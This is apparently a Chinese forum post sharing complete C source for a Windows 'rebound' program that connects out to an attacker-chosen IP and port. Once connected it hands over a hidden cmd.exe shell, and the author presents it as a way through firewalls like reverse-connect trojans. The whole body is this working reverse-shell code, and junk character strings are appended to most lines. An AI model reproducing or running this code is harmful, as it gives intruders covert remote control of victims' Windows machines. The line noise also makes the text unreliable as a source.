这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Ab2VF;z :
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/* ============================== `|gCbs95
Rebound port in Windows NT GFvOrRlP\
By wind,2006/7 s;bqUY?LD
===============================*/ @^%# ]x,:
#include _b+3;Dy
#include Q,scjt[
Q?~l=}2
#pragma comment(lib,"wsock32.lib") ~!@a
#VLTx!5o
void OutputShell(); O?P6rXKr
SOCKET sClient; FK->|
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 74Lq!e3hMF
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void main(int argc,char **argv) d6uL;eR
{ )pg?Z M9
WSADATA stWsaData; ;(z0r_p<q
int nRet; uJi|@{V
SOCKADDR_IN stSaiClient,stSaiServer; iKu5K0x{>I
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if(argc != 3) L;Nm"[`
{ \hg12],#:@
printf("Useage:\n\rRebound DestIP DestPort\n"); cEe>Lyt
return; !aLL|}S
} Ax&+UxQ0|
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WSAStartup(MAKEWORD(2,2),&stWsaData); W)\~T :Kn
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !y6
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stSaiClient.sin_family = AF_INET; 1|2X0Xm{
stSaiClient.sin_port = htons(0); (i {
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); xR$xAcoSB
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) dH8H<K~
{ 9T)-|fja_
printf("Bind Socket Failed!\n"); }psJ'aiG*
return; .Ir 5gz
} RK|C* TCnl
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stSaiServer.sin_family = AF_INET; lOql(ZH`w
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); b?y3m +V`
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); u\50,N9Wp{
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9\V^q9l
{ }yUZ(k#
printf("Connect Error!"); b*7OIN5h
return; <Dl7|M
} Wfp[)MM;
OutputShell(); L \pe
} iJU]|t
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void OutputShell() /aP`|&G,)
{ DvU(rr\p
char szBuff[1024]; ^MuO;<<,.
SECURITY_ATTRIBUTES stSecurityAttributes; H.*XoktC]
OSVERSIONINFO stOsversionInfo; op;OPf,
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; "Q^Ck7
STARTUPINFO stStartupInfo; :dK/}S0
char *szShell; LG(bdj"NM
PROCESS_INFORMATION stProcessInformation; c{zQX0
unsigned long lBytesRead; NeQ/#[~g
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); OQA}+XO
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (z\@T`6`
stSecurityAttributes.lpSecurityDescriptor = 0; %+qD-{&
stSecurityAttributes.bInheritHandle = TRUE; }PD?x4
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); K%O%#Kk
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _uID3N%
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); qy"#XbBeV
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V |)3l7IC<
stStartupInfo.wShowWindow = SW_HIDE; (i1]+.
stStartupInfo.hStdInput = hReadPipe; tRFj<yuaq
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; jUYb8:B
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GetVersionEx(&stOsversionInfo); hIE$u t +
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switch(stOsversionInfo.dwPlatformId) 82{Lx7pI
{ CtfI&rb[
case 1: Ru`&>E
szShell = "command.com"; >:WnCkbp
break; ycTX\.KV
default: /0IvvD!7N
szShell = "cmd.exe"; nD6NLV%2x
break; e<#t]V
} (w}iEm\b
h,"K+$
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); )l~:Puvh
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send(sClient,szMsg,77,0); kZfa8wL]P
while(1) A}W)La\
{ q#$Al
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); A!\g!*
if(lBytesRead) {1Z8cV
{ Dyyf%'\M
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); hOG9
send(sClient,szBuff,lBytesRead,0); [@(M%
} YBehyx2eK
else g1UP/hNJ\8
{ e0Zwhz,
lBytesRead=recv(sClient,szBuff,1024,0); @9Rgg9r
if(lBytesRead<=0) break; R7pdwKD
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `fYICp
} WBvh<wTw;
} yPs4S?<s
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return; (e.?). e
}